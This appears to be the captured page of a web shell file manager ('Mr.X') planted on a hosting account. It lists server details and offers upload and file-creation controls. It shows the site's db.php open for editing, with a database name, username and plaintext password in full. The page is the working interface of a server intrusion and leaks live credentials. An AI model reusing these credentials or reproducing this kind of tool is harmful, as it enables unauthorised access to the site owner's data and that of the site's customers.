🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:db.php
<?php // includes/db.php — Royal Curtain (XAMPP/Apache) $host = 'localhost'; // XAMPP default (uses Unix socket on macOS) $db = 'websparkit_royalcurtainsdb'; $user = 'websparkit_udara'; $pass = 'Flashback123'; // Default XAMPP root has nopassword $charset = 'utf8mb4'; $dsn = "mysql:host=$host;dbname=$db;charset=$charset"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $pdo = new PDO($dsn, $user, $pass, $options); } catch (\PDOException $e) { // Graceful error for production http_response_code(503); die('<!DOCTYPE html><html><head><title>Service Unavailable</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> </head><body class="d-flex align-items-center justify-content-center vh-100 bg-light"> <div class="text-center p-5"> <h3 class="text-danger fw-bold">⚠Database Connection Error</h3> <p class="text-muted">Could not connect to the database. Please ensure XAMPP MySQL is running.</p> <code class="d-block bg-light border rounded p-2 small text-danger">' . htmlspecialchars($e->getMessage()) . '</code> </div></body></html>'); } ?>
Save Changes
Cancel
Create New File
Create New Folder